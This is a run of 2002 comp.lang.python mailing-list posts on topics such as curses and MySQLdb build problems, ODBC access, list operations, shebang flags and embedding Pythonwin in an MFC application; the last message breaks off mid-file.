think this sometimes can cause errors. >> >> I agree, but it's one of those things that can't be changed without risking >> breaking code relying on the broken behavior (which has been broken >> forever). If you get unanimous agreement from all the usual c.l.py suspects >> that they won't piss and moan if I fix it, I will. > >I'm in favor of fixing it. Yes, me too. That was the reason I posted my notice. Sincerely yours, Roman Suzi -- \_ Russia \_ Karelia \_ Petrozavodsk \_ rnd at onego.ru \_ \_ Saturday, May 04, 2002 \_ Powered by Linux RedHat 7.2 \_ \_ "Is there life before coffee?" \_ From pearu at cens.ioc.ee Fri May 17 17:15:36 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Sat, 18 May 2002 00:15:36 +0300 (EEST) Subject: Upper memory limit In-Reply-To: <3CE56961.A6AAF6C6@noaa.gov> Message-ID: On 17 May 2002, Chris Barker wrote: > Siegfried Gonzi wrote: > > > I write the array (400 000 of lines) into a Numeric array (NIL becomes > > -1.0). I repeat the task 10 times in a Python function. > > I'm still confused. do you call the F5 code from Python? Using Python to > manipulate a Numeric array crated by the Fortran code? If so, I suspect > that that is your memory leak. Does this Fortran code use allocatable arrays? If yes then does it deallocate the arrays? If no then there is no other way for Fortran to create arrays, AFAIK. > post some code, if you wnat hel figuring it out. Indeed. Pearu From loewis at informatik.hu-berlin.de Sat May 4 13:53:17 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 04 May 2002 19:53:17 +0200 Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> Message-ID: "Richard P. Muller" writes: > This must work on some level, since people have managed to compile, for > example, NumPy under Cygwin. > > Am I missing something here or railing against the impossible? Can > someone give me pointers? Both: it is impossible to access symbols that are defined in an executable on Windows - you *must* get all symbols you need from a library. So if you have a standalone python.exe, it is impossible to build extensions for it. However, if you build the Python library as a DLL, linking against the python library does *not* incorporate the entire library into the extension module. So you are either missing the opportunity to build the library as a DLL, or missing the fact that linking agains a DLL is "acceptable" in many cases. HTH, Martin From fperez528 at yahoo.com Thu May 9 18:13:16 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Thu, 09 May 2002 16:13:16 -0600 Subject: Python for Statistic References: Message-ID: gimar wrote: > I need to know the best way to process data for statistical calculations. > Is there a reliable module out there that I could use for finding median, > chi square, std deviation, T Student ... ? Strange how this might help: google(python statistics calculations) f. From somebody at nowhere.com Mon May 27 18:03:15 2002 From: somebody at nowhere.com (Sean Richards) Date: Mon, 27 May 2002 22:03:15 GMT Subject: ncurses python2.2.1 References: Message-ID: On Mon, 27 May 2002 11:43:42 GMT, Michael Hudson wrote: > Sean Richards writes: > >> Hi, >> >> Having a few problems compiling python2.2.1 with the curses module. Running >> Slackware 8.0. Uncommented the appropriate line in Modules/Setup and ran >> ./configure, make etc. However when I test the curses module it gives >> the following error: >> >> sean:~/packages/Python-2.2.1$./python ./Lib/test/test_curses.py >> Traceback (most recent call last): >> File "./Lib/test/test_curses.py", line 204, in ? >> curses.wrapper(main) >> File "/home/sean/packages/Python-2.2.1/Lib/curses/wrapper.py", line >> 44, in wrapper >> res = apply(func, (stdscr,) + rest) >> File "./Lib/test/test_curses.py", line 198, in main >> module_funcs(stdscr) >> File "./Lib/test/test_curses.py", line 143, in module_funcs >> curses.curs_set(1) >> _curses.error: curs_set() returned ERR >> >> Been googling for a few hours now but have not really found any obvious >> solution. Any help on this would be great. > > Does this post: > > http://mail.python.org/pipermail/python-dev/2002-January/019724.html > > help? > > Cheers, > M. > Thanks that put me on the right track. I had TERM=xterm-color for some long forgotton reason. Once I set to TERM=rxvt then that sorted the problem. Thanks a lot, Sean From jknapka at earthlink.net Wed May 1 17:47:38 2002 From: jknapka at earthlink.net (Joseph A Knapka) Date: Wed, 01 May 2002 21:47:38 GMT Subject: Using MyODBC with Python References: Message-ID: <3CD06255.946D84E2@earthlink.net> Steve Holden wrote: > that). You could use the one that comes with the Win32 extensions, but I > would recommend Marc-Andre Lemburg's mxODBC, which you will find at > > http://www.egenix.com/files/python/ > > Note that a license is required for commercial use. This allows you to say > stuff like: > > import mx.ODBC as odbc > conn = odbc.connect("SystemDSNName") > curs = conn.cursor() > curs.execute("SELECT * FROM tablename") > data = curs.fetchall() Unless I am confused, it appears that the win32 extensions (as included with ActivePython) allow this as well (exactly the same code, except for the package name). Is there any particular reason you recommend wxODBC over the win32 odbc module? Thanks, -- Joe Any OS distinguishable from Windows is not sufficiently broken. From jb at cascade-sys.com Thu May 2 09:25:13 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Thu, 02 May 2002 06:25:13 -0700 Subject: Newbie: finding the key/index of the min/max element References: <200204301620.00255.bhan@andrew.cmu.edu> Message-ID: <3CD13E39.F01FABC0@cascade-sys.com> Alex Martelli wrote: > One thing everybody (who knows anything) knows, which is still completely > right, is that programmers' instincts are more often wrong when guessing > about performance issues than about any other topic (well, perhaps timing > and deadline for software completion and delivery are still in contention). This is something I too learned long ago, in the 70s. There was a period before that long ago where I would spend a lot of time optimizing everything. Then I learned the anecdote about (as I heard it) the bottleneck being in some low level library routine. Back in the olden days, some optimizations were necessary simply to fit into memory or to finish in a tolerable time. Soon machines were big and fast enough that that was not much of a problem. (Of course the advent of microprocessors set us back again for a while.) Still, I tended to code straight-forward code and only work on optimizations that were absolutely necessary. Lately I sometimes code things up expecting them to be a problem and it almost never is. Machines are simply so fast that performance is seldom an issue. There's an additional bonus, as highly optimized code tends to be more prone to contain bugs and to be more difficult to get right. So, the simpler, straight-forward code is much quicker to get running. HOWEVER, in designing good algorithms, I still tend unconsciously to apply the "order" statistics analysis you discussed in your last post. They still can have a direct bearing on performance, even in Python. My flaw in the previous case was in equating the performance of an order N loop with an order N built-in, forgetting that it's apples and oranges. It was doubly stupid of me because I had run my own performance measurements just the day before. And the for loop was slower by far than everything except List Comprehensions. > "Don't guess, MEASURE" [... and many other good points... ] > >> Since seq.index(max(seq)) is most concise, fastest, and quite clear, > > Functional Programming is indeed an elegant paradigm, but it's not the > one being used here -- no higher-order functions, etc. Or maybe you > mean something else by FP (Floating Point? naah...). EEEEKKKK!!!! SARCASM!!!! RUN AWAY!! RUN AWAY!! ;o) Seriously, I respectfully and humbly beg to differ... (a) I thought I was using the term consistently with others in posts earlier, when we were talking about map() and filter(). (b) To me FP fundamentally is actually little more than tending towards expressions instead of statements. And this is consistent with the comp.lang.FP Faq (http://www.cs.nott.ac.uk/~gmh//faq.html) Typically for it to be FP the operands are not scalars but vectors or more complex objects that may be thought to "flow" from one operator to the next. Higher order functions are included in the broader topic but they're not necessary to perform basic FP tasks. > Fortunately not. Only for big-O issues (and none of these approaches > is anything else than O(N), obviously big-O-optimal here) is it a > worry you can almost never brush aside. Fortunately, big-O issues > CAN often be worked out from first principles (if you have the right > starting data) -- so, whenever a constant factor of, say, 100% either > way does not matter (i.e., by far in the largest part of the code > one writes), one is free to go for simplicity and elegance:-). Yup. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From max at alcyone.com Thu May 30 05:19:58 2002 From: max at alcyone.com (Erik Max Francis) Date: Thu, 30 May 2002 02:19:58 -0700 Subject: User input question References: Message-ID: <3CF5EEBE.DD5F73F8@alcyone.com> Eric Brunel wrote: > Considering your HTML form, I don't know if it's the right thing to > do, but > here is the exact equivalent of your C++ code: > > import sys > s = sys.stdin.readline() > search_word(s) Not quite, actually. cin >> s gets the next string delimited by whitespace, not the next line. (The next line would be std::getline.) -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From magni2k at uni.de Wed May 8 08:23:14 2002 From: magni2k at uni.de (magni2k) Date: Wed, 08 May 2002 12:23:14 GMT Subject: How to Message-ID: <20020508122315.183655D3B@hand.ball.reliam.net> Hi, Thanks a lot for the help from Skip Montanaro and Andreas Jung! But now a new question. This is the complete code and I am not able to call the function so, that it only prints out e.g. the gethost list. How can I handle this in __name__ == '__main__'! Or is there another possibility to handle this more elegant or simpler? Thanks for help and hints! The function call should be in this type: python filelist.py serverlist.txt and optional: python filelist.py serverlist.txt gethost or python filelist.py serverlist.txt getprotocol getpath Thanks for help and hints! filelist.py import sys, string, urlparse class ListFile: def __init__(self, filename): self.file = open(filename, 'r') def __getitem__(self, i): line = self.file.readline() if line: return line else: raise IndexError def __getattr__(self, name): return getattr(self.file, name) def getall(self): for line in self.file: parseurl = urlparse.urlparse(line) getprotocol = parseurl[0] gethost = parseurl[1] getpath = parseurl[2] print getprotocol, gethost, getpath, def getprotocol(self): for line in self.file: parseurl = urlparse.urlparse(line) getprotocol = parseurl[0] print getprotocol def gethost(self): for line in self.file: parseurl = urlparse.urlparse(line) gethost = parseurl[1] print gethost def getpath(self): for line in self.file: parseurl = urlparse.urlparse(line) getpath = parseurl[2] print getpath, if __name__ == '__main__': line = ListFile(sys.argv[1]) line.getall() line.getall() line.getprotocol() line.gethost() line.getpath() --------------------------------------------------------------------- Mit diesen Gewinnen geht die Party richtig los: Mit bis zu 50.000 Euro in bar und Traumpreisen im Gesamtwert von 100.000 Euro gibt es genug Anlass zum Feiern! Gleich Anmelden unter http://www.firstcampus.de --------------------------------------------------------------------- From webmaster at apologetyka.com.pl Fri May 3 17:06:04 2002 From: webmaster at apologetyka.com.pl (Jaros³aw Zabie³³o (delete .PL)) Date: Fri, 03 May 2002 23:06:04 +0200 Subject: Multidimensional arrays - how? References: <6vv4du8mu1hj59k7g0uq58r24mp74g02hu@4ax.com> Message-ID: On Fri, 3 May 2002 10:48:13 -0700, Jeff Shannon wrote: >In Python, if you want to do this, you have to explicitly create >the nested list yourself. The following will work: > >>>> book, chapter, para = 0, 0, 0 >>>> x = [ [ ['para0', 'para1'] ] ] >>>> x[book][chapter][para] >'para0' >>>> x[book][chapter] >['para0', 'para1'] >>>> Yes , but what if I would like to use string keys instead of numbers? E.g. book, chapter, para = 'a', 'b', 'c' ? x = [[['para0', 'para1']]] # will not work as I wanted Nested lists are easer implemented in PHP, I am afraid. $x['a']['b']['c'] = 'txt' works without any problem. -- Jaros?aw Zabie??o (UIN: 6712522) URL: http://3585753410/~zbiru From garyr at fidalgo.net Tue May 28 10:42:22 2002 From: garyr at fidalgo.net (Gary Richardson) Date: Tue, 28 May 2002 07:42:22 -0700 Subject: returning a python array from a C extension References: <3CF29A3D.5EF81E74@cpsc.ucalgary.ca> Message-ID: "Maxwell Todd Sayles" wrote in message news:3CF29A3D.5EF81E74 at cpsc.ucalgary.ca... > in python i can write: > > from array import * > a = array ('B', 'some test data') > > and a refers to an array object. > > now i have a C extension for python that returns a PyString, and within > python i can convert it to an array > > e.g.: > > from array import * > from MyCExtension import * > a = array ('B', cfunction()) > > but this method requires an extra copy and construction from the string > to the array. > > is there a way i can have cfunction return a python array? i tried > looking through the include files with the Python/C API and couldn't > find anything. any help would be appreciated. > > Thanks, Maxwell Sayles > I've written a wrapper using CXX that passes Python array information to/from some C functions (FFTW). I'll be glad to send you some example Python code and the C wrapper if that would be of interest. Gary Richardson From poster14 at lopan.dccs.upenn.edu Mon May 13 11:42:32 2002 From: poster14 at lopan.dccs.upenn.edu (John) Date: 13 May 2002 15:42:32 GMT Subject: intermittent MySQLdb import problem on Solaris 7 Message-ID: This test program sometimes works when invoked via the web server via CGI, but most often it doesn't: #!/usr/local/bin/python import cgi try: import MySQLdb cgi.test() except: print "Content-type: text/html\n" cgi.print_exception() When it doesn't work, here's the exception: Traceback (most recent call last): File "./bad.cgi", line 7, in main import MySQLdb File "./MySQLdb/__init__.py", line 27, in ? import _mysql ImportError: ld.so.1: /usr/local/bin/python: fatal: libgcc_s.so.1: open failed: No such file or directory It ALWAYS works when run from the command line. The library file it can't find does exist on a local (non NFS) filesystem. Setting LD_LIBRARY_PATH in wrapper shell script didn't help either. When I built MySQLdb, I used these params in setup.py: include_dirs = ['/usr/local/mysql/include'] library_dirs = ['/usr/local/mysql/lib'] libraries = [mysqlclient, "z", "gcc_s"] runtime_library_dirs = ['/usr/local/lib', '/usr/local/mysql/lib'] extra_objects = [] I'm not sure if it matters, but the MySQLdb module is installed in the same directory as the CGI script as the server belongs to an ISP, and I'm just a customer. The web server is zeus 3.4, running on Solaris 7. MySQLdb (0.9.1) was built using gcc 3.03. Python version is: "Python 2.1 (#1, May 25 2001, 16:58:42) [GCC 2.95.2 19991024 (release)] on sunos5" Any ideas as to how I can solve this problem? Maybe the ISP would be willing to re-compile python with gcc 3.03, but I've no idea if that would help. Thanks! From jpdube at videotron.caxxxxx Tue May 14 09:55:53 2002 From: jpdube at videotron.caxxxxx (JP Dube) Date: Tue, 14 May 2002 09:55:53 -0400 Subject: popen hangs on linux kernel 2.2.16 Message-ID: Hi, I wrote a small script that call the ping command using the popen function in python. The script is working fine on kernel 2.4.16 but when I run it under kernel 2.2.16 the command never returns and hangs there until I manually kill it. Is there a workaround for this bug Thanks J-P Dube From peter at engcorp.com Thu May 9 01:07:50 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 May 2002 01:07:50 -0400 Subject: no buffer space available error References: Message-ID: <3CDA0426.88F47FD4@engcorp.com> sebastien wrote: > > Hi, > > I am trying a program that scan all the machines in the network that are ftp server. > After about 50 to 100 scan, I get the message : > > no buffer space available. You're opening too many sockets at the same time. At least, that's what we just went through writing a little client/server test utility running under Win98, which failed with that message after about 45 open client sockets were active. Modify the program to limit the number of sockets that are opened at any one time, and/or make sure you close the existing sockets. I believe a call to .shutdown() may be useful to make sure they really go away when you close them, but I haven't finished the analysis yet. -Peter From logiplexsoftware at earthlink.net Wed May 1 16:09:21 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Wed, 1 May 2002 13:09:21 -0700 Subject: Newbie: finding the key/index of the min/max element In-Reply-To: References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> Message-ID: <20020501130921.088f9d46.logiplexsoftware@earthlink.net> On Wed, 1 May 2002 17:55:07 +0000 (UTC) Huaiyu Zhu wrote: > Am I the only one to detect sarcasm and straight talk aimed at "sarcasm and > straight talk" in Laura's post? I thought it was great fun. The only > defect was that picking a topic in which real critisisms are valid makes the > sarcasm too subtle. I wouldn't take Laura's posts too seriously, although you might also be careful if you disagree with her. I made the mistake of engaging her in what seemed a polite argument once and now she showers me with a barrage of insults and ridicule, occasionally overflowing my inbox despite my profuse apologies and pleading. More than once she's threatened to use me as a "scratch monkey", whatever that means. I'm fairly certain that "Laura Creighton" is the psuedonom Lumberjack uses when he wants to get real nasty but doesn't want to tarnish his reputation. ;) -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From marklists at mceahern.com Wed May 1 22:23:23 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 1 May 2002 21:23:23 -0500 Subject: NEWBIE QUESTIION: Comparing Lists in Python In-Reply-To: <5Z0A8.185$Q85.6597@ozemail.com.au> Message-ID: [Dianne van Dulken] > I want to return the difference between the two lists as again two lists > > eg: > > list 1 = item1, item5, item8, item10 > list2 = item 3, item4, item5 > > I want to return > > returnlist1 = item1, item8, item10 > returnlist2 = item3, item4 You can do this easily with list comprehension. Here's a demo... #!/usr/bin/env python def not_in_list(l1, l2): """ Return a list of elements from l1 that are not in l2. """ return [x for x in l1 if x not in l2] l1 = [1,5,8,10] l2 = [3,4,5] print not_in_list(l1, l2) print not_in_list(l2, l1) // mark From jepler at unpythonic.net Thu May 2 08:28:21 2002 From: jepler at unpythonic.net (jepler at unpythonic.net) Date: Thu, 2 May 2002 07:28:21 -0500 Subject: "First-class objects" (was Re: Python vs. Perl, which is better to learn?) In-Reply-To: References: Message-ID: <20020502072816.A1741@unpythonic.net> On Thu, May 02, 2002 at 03:11:26PM +1200, Paul Foley wrote: > On Wed, 1 May 2002 11:50:31 -0500, Jeff Epler wrote: > > >> Centuries ago, Nostradamus foresaw when "Mark McEahern" would write: > >> > Could you give us a concrete example where the use of regular expressions in > >> > Perl is superior to Python? > >> > > On Wed, May 01, 2002 at 01:02:07AM -0400, Christopher Browne wrote: > >> Well, in Perl, they're "first class objects," as it were, requiring no > >> extra references to functions to get them to function, as a base part > >> of the language syntax. > > > I always thought that "first class" meant a type of object that can > > be passed as an argument in a function.[1] In that sense, Python REs > > Yes, but it also needs to be a distinguished from other objects. I don't understand how an object cannot be "first class" when it can be treated indistinguishably from other kinds of things. Can you expand on this claim? Surely you don't mean that only things that have to be decorated to be treated as a value (like &sub or #'function) or require a special syntax to define (like /..../ or def blah(x): ...) can be first-class. > > (as well as almost everything else in Python -- functions, instances, > > bound methods, ...) are first-class, because you can write > > Python functions, instances, and methods are first class; REs aren't > because there's no distinguished "regexp" object; they're either > strings or instances. > > > def group(x): return r'\(' + x + r'\) > > This is a string. And, a bit below (unless I screwed up the original post) I produce a compiled regexp using re.compile. This is the object I'm claiming "is" a regular expression and "is" first-class, since it can be "part of data structures" (stored as an element of a sequence type, or in the attribute of another object), "formed at runtime" (what I just did), "returned by functions" (how I formed it) and "arguments to functions" (something the next lines of code demonstrated). > > The term first-class refers to the idea that values can be > > > * part of data structures, > > * formed at run-time, > > * arguments to functions, and > > * returned by functions. > > It's often said that functions are first-class in C (well, at least I've > > heard it said) > > It's sometimes said (I've heard it, too), but it's wrong. What you're > passing around are pointers, not functions. I don't think that this is relevant. In fact, I bet it would be possible for some C implementation to "inline" small functions in their "pointers". For instance, a (perverse) architecture might have 128-bit function pointers and 16-bit instruction words. The top bit of a pointer is 0 if it refers to memory, and 1 if the bits 112..0 refer to 7 16-bit instruction words. Then, short functions like (hypot) MUL %f0, %f0 MUL %f2, %f2 ADD %f0, %f2 SQRT %f0 NOP; NOP; NOP could "fit" within the "function pointer". The natural calling sequence MOV %f0, x MOV %f2, y CALL hypot or MOV %f0, x MOV %f2, y CALL %a0 would work, and it would be invisible to the programmer that the function doesn't actually reside anywhere in particular in RAM (it could reside as an "immediate" value in the current instruction stream, or it could reside in the value of an address register.) So, given that this interpretation will still allow the C language to behave as it does, what justification (other than the syntax and terminology of the language) makes it a "function pointer" and not a "function value"? Of course, you never pass any*thing* in a computer language -- you pass a representation of the thing, or a value which corresponds to a representation of a thing. It's just not constructive to think of programming a computer in these terms. In the same way, in code like r = re.compile(".") f(r) # that line of code I don't think "in that line of code, I'm passing a reference as an argument to another reference treated almost as if it were a function (but of course it's not, it's only bits)" I say "I'm passing the regular expression to a function". Jeff From peter at engcorp.com Thu May 9 01:03:08 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 May 2002 01:03:08 -0400 Subject: Comments References: Message-ID: <3CDA030C.EFE4B884@engcorp.com> Terry Reedy wrote: > > "Sean 'Shaleh' Perry" wrote in message > news:mailman.1020875117.14656.python-list at python.org... > > Sure, but comments are basically free whereas the above creates an > anonmymous > > string which has to be garbage collected. > > I once read, I believe, that free-floating (unbound) strings that do > not become doc strings are eliminated (in batch mode) during > compilation. Just confirmed this by examining a .pyc file. Doc-strings in the module level and in a function were present, but free-floating strings immediately following did not appear. Sounds like that makes them fairly effective for commenting-out purposes, although for real comments the octothorpe is still a better choice IMHO. -Peter From maxm at mxm.dk Wed May 15 02:20:32 2002 From: maxm at mxm.dk (Max M) Date: Wed, 15 May 2002 08:20:32 +0200 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <23891c90.0205130956.6f0436a0@posting.google.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> <3CE1C502.BF27501D@cosc.canterbury.ac.nz> Message-ID: <3CE1FE30.3060803@mxm.dk> Greg Ewing wrote: > If buildings were built like computer programs, every > building would be unique, not quite like any other > building ever built before, and using experimental > new materials and building techniques. And before > we'd got all the bugs out of one building, we'd be > charging ahead with the next one. Under those > conditions, I don't think the building industry would > have much of a reputation for reliability in their > products! Bridge building is much simpler than programming. For one thing the customer knows what they want. They choose one bridge from one of several in a competition. A model of the bridge can be built in Cardboard so it can be seen. And when the bridge is halfway done the customeres rarely asks for the bridge to be 10 meters longer and with 4 lanes instead of 3. If we only made the same kind of software for years and had been thought in school exactly how to build that kind of software I would bet that it would be great software. regards Max M From phd at phd.pp.ru Wed May 29 04:06:10 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Wed, 29 May 2002 12:06:10 +0400 Subject: #!/bin/env problem Was: Re: Backwards emulation rather than backwards compatibility? In-Reply-To: ; from dkuhlman@rexx.com on Tue, May 28, 2002 at 02:43:53PM -0700 References: <3CEF8E04.6040909@ix.netcom.com> <3CF3F37B.CF1DCCA@noaa.gov> Message-ID: <20020529120610.C10487@phd.pp.ru> On Tue, May 28, 2002 at 02:43:53PM -0700, Dave Kuhlman wrote: > I typically start my scripts with a first line like the following: > > #! /usr/bin/env python > > Quite a few files in Python2.2.1/Lib do likewise. > > But, when I tried to add an option to be passed to the Python > interpreter by changing the first line to: > > #!/usr/bin/env python -t > > I get an error message: > > /usr/bin/env: python -t: No such file or directory > > Shouldn't I be able to pass a flag to the Python interpreter? > Looking at the env man page did not help. And, quotes around > "python -t" did not help. Is there another "trick"? There is no. Parsing the #! header is the job of the OS kernel, and all unicies do it in the very simple way - they split the header into an interpreter (/usr/bin/env, in this case) and its flags (python -t). Flags ARE NOT SUPPOSED to have spaces, and are apssed to the interpreter as is. So the only way is to write #! /usr/local/bin/python -O as I always do. If you want to distribute the script and worry about portability problem - write setup.py and use "script" option. Distutils rocks! Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From nas at python.ca Tue May 14 16:39:15 2002 From: nas at python.ca (Neil Schemenauer) Date: Tue, 14 May 2002 13:39:15 -0700 Subject: Fatal Python error: GC object already in linked list In-Reply-To: <41691d47.0205141153.70f7e56@posting.google.com>; from jimmy@retzlaff.com on Tue, May 14, 2002 at 12:53:39PM -0700 References: <41691d47.0205141153.70f7e56@posting.google.com> Message-ID: <20020514133915.A17925@glacier.arctrix.com> Jimmy Retzlaff wrote: > I've upgraded to 2.2.1 and spent 4 days trying to isolate the problem. :-( > In 2.2.1 the problem is still there, but it's not as consistent. Have you tried setting the GC threshold low (e.g. 5)? That sometimes helps trigger these kinds of bugs. You should also build with Py_DEBUG defined. That often helps too. If you could, also try the CVS version of Python. pymalloc is now enabled by default and it does some some extra checks if Py_DEBUG is defined. Neil From aleax at aleax.it Mon May 6 03:54:12 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 07:54:12 GMT Subject: singleton in python ? References: <1020669846.963494@newsmaster-04.atnet.at> Message-ID: fritz steindl (-:fs) wrote: > what is the best way to implement a singleton in python ??? Normally, a module is the best Pythonic singleton. If you really do need to solve the forces met by Singleton (hardly anybody ever does when they ask for Singleton -- they just ask for it out of habit), see: http://www.aleax.it/Python/5ep.html > i miss static variables and functions in python (or i don't see them :-) Modules and top-level classes in a module normally exist in a single copy and so does each of their attributes, be it callable or not. Alex From phr-n2002a at nightsong.com Wed May 1 17:30:33 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 01 May 2002 14:30:33 -0700 Subject: python cryptography toolkit References: <87it68b3z2.fsf@tux.ntw23.fr> <87d6wfbt9o.fsf@tux.ntw23.fr> Message-ID: <7x6627pnd2.fsf@ruckus.brouhaha.com> "A.M. Kuchling" writes: > In article <87d6wfbt9o.fsf at tux.ntw23.fr>, Sylvain Thenault wrote: > > * where is the Crypto.PublicKey module mentionned in section 5 ? > > Gone; I've removed the PublicKey code because the interface was all > wrong, and I have no idea what the right interface is. Paul Rubin is > apparently working on public-key code, and that will be worth checking > out. The docs aren't fully up to date for the new code yet. The only public-key code I've been working on so far is the stuff partly documented at . It's unrelated to the Python Cryptography Toolkit. Maybe some kind of merging is possible. From michael.ingram at echostar.com Tue May 28 14:38:23 2002 From: michael.ingram at echostar.com (Michael Ingram) Date: 28 May 2002 11:38:23 -0700 Subject: Win32uiHostGlue Message-ID: So I guess I'll accept my Klebold of the month award now. I don't seem to be capable of grasping the concept of Win32uiHostGlue, Win32ui or how I can leverage these tools from my MFC application. >From Win32uiHostGlue.h rev.1.7 I've derived class PY_HostGlue (below). From "Embedding Pythonwin", I've pretty much copied initscore.py (init.py, also below). If I import init.py from Pythonwin, the script seems to import properly. And if I type the command: init.app.InitInstance() the interactive window is indeed minimized. Now, from within my MFC application, I can call glue.DynamicApplication("import init") without any errors and stepping through PY_HostGlue.h shows that Win32uiApplicationInit() is called succesfully. But from this point on I'm not really sure what I have, or how to use it...sorry). Any subsequent calls to the interpreter e.g. PyRun_SimpleString("init.app.InitInstance()") generates a Run Time Error, regardless of whether it's called from the MFC application or from within the glue code. Comments...please. Thanks, Mike ////////////////////////////////////////////////////////////////////// // PY_HostGlue.h: interface for the CPY_HostGlue class. // // Defines a connection between win32ui and its // application object. // // Base Class: Win32uiHostGlue.h // From Mark Hammond // ////////////////////////////////////////////////////////////////////// #if !defined(AFX_PY_HOSTGLUE_H__12325742_6F1D_11D6_AA4A_00B0D0C9F0EA__INCLUDED_) #define AFX_PY_HOSTGLUE_H__12325742_6F1D_11D6_AA4A_00B0D0C9F0EA__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #include "Win32uiHostGlue.h" class CPY_HostGlue : public Win32uiHostGlue { public: CPY_HostGlue(); virtual ~CPY_HostGlue(); #ifndef LINK_WITH_WIN32UI // This will dynamically attach to win32ui.pyd. BOOL DynamicApplicationInit(const char *cmd = NULL, const char *additionalPaths = NULL); #else BOOL ApplicationInit(const char *cmd = NULL, const char *additionalPaths = NULL); #endif // function pointers int (__cdecl *pfnRunSimpleString)(char* ); // PYRun_SimpleString() }; inline CPY_HostGlue::CPY_HostGlue(): Win32uiHostGlue() { pfnRunSimpleString = NULL; } inline CPY_HostGlue::~CPY_HostGlue() { } #ifndef LINK_WITH_WIN32UI inline BOOL CPY_HostGlue::DynamicApplicationInit(const char *cmd, const char *additionalPaths) { #ifdef _DEBUG char *szWinui_Name = "win32ui_d.pyd"; #else //char *szWinui_Name = "win32ui.pyd"; //Hard code...Sorry! LoadLibrary() needs this in PATH, but I don't //want it there yet...control freak :} char *szWinui_Name = "C:\\Python22\\Lib\\SITE-P~1\\PYTHON~1\\win32ui.pyd"; #endif HMODULE hModWin32ui = LoadLibrary(szWinui_Name); if (hModWin32ui==NULL) { char buf[256]; sprintf(buf,"The application can not locate %s (%d)\n", szWinui_Name, GetLastError()); int len = strlen(buf); int bufLeft = sizeof(buf) - len; FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL,SUBLANG_NEUTRAL), buf+len, bufLeft, NULL); AfxMessageBox(buf); return FALSE; } HMODULE hModCore = NULL; for (int i=15;i<40;i++) { char fname[20]; #ifdef _DEBUG wsprintf(fname, "Python%d_d.dll", i); #else wsprintf(fname, "Python%d.dll", i); #endif hModCore = GetModuleHandle(fname); if (hModCore) break; } if (hModCore==NULL) { AfxMessageBox("Can not locate the Python DLL"); return FALSE; } // Now the modules are loaded, call the Python init functions. int (__cdecl *pfnIsInit)(void); pfnIsInit = (int (__cdecl *)(void))GetProcAddress(hModCore, "Py_IsInitialized"); BOOL bShouldInitPython; if (pfnIsInit) bShouldFinalizePython = bShouldInitPython = !(*pfnIsInit)(); else { bShouldFinalizePython = FALSE; // Dont cleanup if we cant tell (this wont happen - Im paranoid :-) bShouldInitPython = TRUE; } void (__cdecl *pfnPyInit)(void); pfnPyInit = (void (__cdecl *)(void))GetProcAddress(hModCore, "Py_Initialize"); if (pfnPyInit && bShouldInitPython) { (*pfnPyInit)(); } pfnRunSimpleString = (int (__cdecl *)(char*))GetProcAddress(hModCore, "PyRun_SimpleString"); BOOL (__cdecl *pfnWin32uiInit)(Win32uiHostGlue *, char *, const char *); pfnWin32uiInit = (BOOL (__cdecl *)(Win32uiHostGlue *, char *, const char *))GetProcAddress(hModWin32ui, "Win32uiApplicationInit"); BOOL rc; if (pfnWin32uiInit) rc = (*pfnWin32uiInit)(this, (char *)cmd, additionalPaths); else { OutputDebugString("WARNING - win32uiHostGlue could not load the entry point for ApplicationInit\n"); rc = FALSE; } pfnRunSimpleString = (int (__cdecl *)(char*))GetProcAddress(hModCore, "PyRun_SimpleString"); BOOL bt; // PyRun_SimpleString generates a Run Time Error from here //if(pfnRunSimpleString) // bt = (*pfnRunSimpleString)("init.app.InitInstance()"); // We must not free the win32ui module, as we // still hold function pointers to it! return rc; } #else extern "C" __declspec(dllimport) BOOL Win32uiApplicationInit(Win32uiHostGlue *pGlue, char *cmd, const char *addnPaths); extern "C" void initwin32ui(); inline BOOL Win32uiHostGlue::ApplicationInit(const char *cmd, const char *additionalPaths) { if (!Py_IsInitialized()) { bShouldFinalizePython = TRUE; Py_Initialize(); } // Make sure the statically linked win32ui is the one Python sees // (and doesnt go searching for a new one) initwin32ui(); return Win32uiApplicationInit(this, (char *)cmd,additionalPaths); } #endif #endif // !defined(AFX_PY_HOSTGLUE_H__12325742_6F1D_11D6_AA4A_00B0D0C9F0EA__INCLUDED_) ////////////////////////////////////////////////////////////////////// init.py ////////////////////////////////////////////////////////////////////// import sys import win32ui # First step - redirect pythonoutput to the debugging device, until we # can create a window to capture it. # Note that this is only useful while debugging, and simply sends any # Python output (exceptions, while developing the startup code) is # printed to the MSVC debugger. Note that since this code was written, # the win32trace module has appeared, ginving another alternative to # debugging this code. class DebugOutput: softspace=1 def write(self, message): win32ui.OutputDebug(message) sys.stderr=sys.stdout=DebugOutput() # First priority should be to set sys.stdout to somewhere useful, # depending on what useful means to your application. This code simply # creates 